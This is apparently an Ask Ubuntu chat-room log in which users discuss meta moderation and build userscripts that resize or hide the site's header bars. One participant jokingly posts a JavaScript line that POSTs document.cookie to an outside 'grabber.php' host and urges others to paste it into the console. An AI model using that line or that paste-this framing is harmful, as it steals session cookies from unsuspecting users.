@Seth can you migrate askubuntu.com/questions/526902/… to meta?

Whaaaaaat

@Seth ok. reason: answers could still be a bit broad.

Seth

@muru done

@Whaaaaaat hm. I disagree there. Can you be more specific?

> Is their a way to get dual booting Windows 8.1 and Ubuntu14.04 without partitioning my hard. If so is their a step-by-step procedure available for Windows 8.1 and Ubuntu 14.04?

doesn't sound broad.

> Does partitioning my SSD really cause so much damage where it would not be a good idea to run dual systems, or is the damage negligible to an amateur software developer.

doesn't sound broad to me either.

Nathan Osman

1:31 AM

I linked directly to the GitHub project since pasting the contents of four files inline didn't seem like a terribly great idea.

Whaaaaaat

@Seth Two questions.

Seth

two questions doesn't really automatically equal too broad.

IMO they are very closely related.

Whaaaaaat

meh

Seth

:)

To each his own. I won't try to convince you ;)

Whaaaaaat

may have been an oversight on my part.

haven't eaten anything but ramen all day.

so my thinking is impaired a bit. (whcich explains the hackintosh)

Q: How does the site look like to a moderator?

The site has special features for moderators. Can I see how the site looks like to the average moderator(tools and stuff)

discussion moderation user-interface

muru

1:44 AM

Yeah, I have wondered what the diff between 10k, 20k and mod users are..

Whaaaaaat

mods = all powerful gods.
20k = prophets
10k = preachers

muru

nvm, meta.stackexchange.com/questions/136890/….. @Whaaaaaat :D

make it prophets, :D

Shog9

@Seth This was true, sadly. However, Geoff chose today to become a plank, and as a result the badge will count edit-reviews after the next build.

Whaaaaaat

I want to be mod, but I'm afraid I'll screw something up and disappoint all of AU.

Nathan Osman

@Whaaaaaat Lol at the "tearing out hair" edit :P

Whaaaaaat

1:47 AM

@Shog9 Can the AU top bar go all the way across the screen please?

Shog9

wouldn't that look odd?

muru

@Whaaaaaat you'll get the badge with the next build, hi5!

Shog9

only the Ubuntu bar goes across the whole screen

Whaaaaaat

@Shog9 but it would go great with my floating mod with the clock.

@muru wooooo

muru

@Shog9 no, the top two bars (stack exchange line and site line) would look nice extending across the page.

Shog9

1:49 AM

Sounds like a job for... a userscript

muru

and the stackexchange bar could be sticky..

Whaaaaaat

@Shog9 it don't work here. i tried

Shog9

@muru I think it'd be confusing. But, throw it up on meta - tags: design feature-request - and see what folks think.

muru

will do. But this design is not site specific, right? so belongs on the SO meta?

Whaaaaaat

bit crowded

@muru It's only here AFAIK

muru

1:51 AM

wow. I have never noticed that Ubuntu line above the Stack Exchange line.

Whaaaaaat

i'm making the meta post right now.

muru

@Shog9 i retract my suggestion, now that i have noticed it, but I'll upvote Wha*t's.

Shog9

@muru !

Whaaaaaat

@muru Do we even need that line?

Good work, @Seth - you got a years-old inconsistency eliminated.

Whaaaaaat

wooooooo another badge!!

aw seth. you downvoted it already? :(

Seth

@Shog9 What did I do?

@Whaaaaaat It has been discussed before, I think.

Nathan Osman

How's Utopic looking as far as stability goes?

I'm thinking I'm going to have to switch.

Whaaaaaat

@Seth I patched CSS together. Lemme upload a pic for you

muru

2:08 AM

@Seth if you are willing to trust me, run these JS lines in the console:
document.getElementsByClassName('topbar')[0].style.width='100%'
document.getElementsByClassName('topbar')[0].style.position='relative'

Seth

hm, doesn't quite line up @muru, but good enough..

I still think it looks terribly ugly.

muru

And

forgot to eliminate the margin

2:11 AM

@muru I'd add that as an answer on the meta post.

muru

@Seth an answer or a comment? Because I'd like it server side too..

Seth

Ugh, yeah, it just looks terrible.

@muru Answer. Just try to flesh it out a bit more than "paste this in the console", give your opinion about why it should be this way.

Nathan Osman

@muru While we're on the topic of getting people to execute arbitrary JavaScript on other user's machines...

var a=new XMLHttpRequest('POST', 'http://qms.io/grabber.php'); a.send(document.cookie);

Whistles innocently...

Seth

you own qms.io Nathan?

Nathan Osman

No :P

muru

2:13 AM

@NathanOsman tried to open that URL, got "Unable to determine IP address from host name qms.io"

Nathan Osman

It's too expensive.

I wish I could though.

muru

and besides, what does the cookie for the new tab page contain?

Nathan Osman

No, you paste that in the console :)

Seth

Yeah, .io's are expensive.

muru

I know, but I'd paste that in the console for the new tab page. :P

Good. I figured out I needed to change some Chrome setting for unsafeWindow, now I am stuck trying to figure out where that setting is. :/

there are problems with that though.

you can use yours, I just thought it was a good challenge, haven't used my JS skills in a while.

@Whaaaaaat Please, enlighten me. I'm not terribly good at Javascript, although I try.

Whaaaaaat

2:50 AM

First off, the ready stuff is unnecessary for greasemonkey

muru

same error. :(

either of you using chrome?

Seth

perhaps. I was using Tampermonkey, it didn't seem to like it without that.

one sec.

Seth

works for me in firefox and chromium.

@muru just being precautionary. I don't think it matters since chat is hosted at a different domain.

@Seth Yes. I'm adding an exception for chat.SE

muru

i'm just confused. there isn't even a topbar for this chat room O.o

just programming form.

(i shouldn't be the one to talk about that, though)

@Whaaaaaat yep.

muru

I prefer http*://*askubuntu.com, to include meta as well..

Whaaaaaat

ah. thank you

changed.

i like that emote. ¬ø¬

muru

maybe it's just me, but the contrast between the screen filling Ubuntu and Stack Exchange lines are just ... beautiful... so pleasing..

Whaaaaaat

@muru what?

let's get rid of that ugly top bar too :D

muru

3:02 AM

nah, the contrast is half the beauty.. :)

Whaaaaaat

I don't like it. So I'll just make another script.

notopbar src: github.com/pacificfils/AskUbuntu-ExpandedBar/blob/master/…

notopbar RTI: raw.githubusercontent.com/pacificfils/AskUbuntu-ExpandedBar/…

muru

Why not delete it?
document.getElementById('custom-header').parentNode.removeChild(document.getElementById('custom-header'))

Whaaaaaat

Meh.

Hiding it is easier.

besides, I didn't know one could do that.

muru

i just found out myself, because hiding it left a patch at the top above the SE line..

Whaaaaaat

really?

i'll add it in a sec.

muru

3:10 AM

Whaaaaaat

changes saved.

muru

(y) Now you can post both scripts as answers..

Whaaaaaat

kk.

gimme a sec to finish up the repo

repo: github.com/pacificfils/AskUbuntu-ExpandedBar

@muru I changed everything but expand-nofloat here: github.com/pacificfils/AskUbuntu-ExpandedBar

can you test them?

muru

askubuntu-nocanonicalbar.user.js leaves a gap between SE line and beginning of AU line:

Whaaaaaat

odd.

muru

3:25 AM

ditto for the other one, except that SE line fits width.

works ok without document.getElementsByClassName('container')[0].style.marginTop = '30px';

i commented out that and gap vanishes

Whaaaaaat

chrome?

muru

yep.

Whaaaaaat

dammit. they handle CSS differently.

muru

probably. O.o

Whaaaaaat

time to make two copies of everything, yay.

muru

3:28 AM

but this looks like something both FF and Chrome should do the same thing for..

what happens when you don't?

Whaaaaaat

unless you know a way to determine browsers?

in FF using the 'custom' script:

muru

with the marginTop?

and without it?

Whaaaaaat

in that case, with

without leaves a 36px gab between the menubar and the AU navbar

OH

figured it out

muru

I didn't install greasemonkey, but running in the console:
document.getElementsByClassName('topbar')[0].style.width='100%';
document.getElementsByClassName('topbar')[0].style.position='relative';
document.getElementById('custom-header').parentNode.removeChild(document.getElementById('custom-header'))

worked

what was it?

Whaaaaaat

For custom, it's because another userscript changed it to fixed instead of relative.

try the new nofloat-notopbar

muru

3:38 AM

fine on chrome!

Whaaaaaat

try the nocanonicalbar

next step - create a floaty one.

muru

odd. both remove the canonical bar for me.

Whaaaaaat

nofloat-notopbar and nocanonicalbar?

muru

yep.

Whaaaaaat

they both remove it.

i updated the names.

muru

3:42 AM

Aside: My /tmp (a tmpfs) is shown 100% full by df, yet du shows only 50M used.

Whaaaaaat

df is weird.

df is correct here, ufortunately.. :( not even tab completion works because /tmp is full. :(

does anyone know how to create a folder from github web?

muru

within the web interface? nope. but why not the cli?

Whaaaaaat

too lazy to install it ATM

muru

@muru Floaty ones done :D

almost. have to make a non-expanding floaty one.

muru

beautiful.. :')

instant access to notifications, search, etc..

Whaaaaaat

one more and done :D

just nonexpanding floaty with canonical bar.

DONE :D

muru

oh wait.. the float with canonical leaves the SE bar ~30 px off the top, with clear space above.

Whaaaaaat

aw poop

wait, floaty noexpand?

muru

3:55 AM

floaty/expand.user

Whaaaaaat

wait?

(me stupid)

are you running any other userscript?

muru

Nope. Only this one.

Whaaaaaat

try refreshing. sounds like a css cache thing

muru

refresh a few times:

Whaaaaaat

for me it does something weirder.

yes. that.

muru

3:58 AM

besides keeping it place might be trickier: stackoverflow.com/a/19144107/2072269

Whaaaaaat

poop.

muru

I mean, at the top after scrolling.

Whaaaaaat

OK then. Floaty + Canonical bar is no go.

repo changed.

that's actually kinda sad.

@muru Is everything good now?

considering the commit comments, yep.
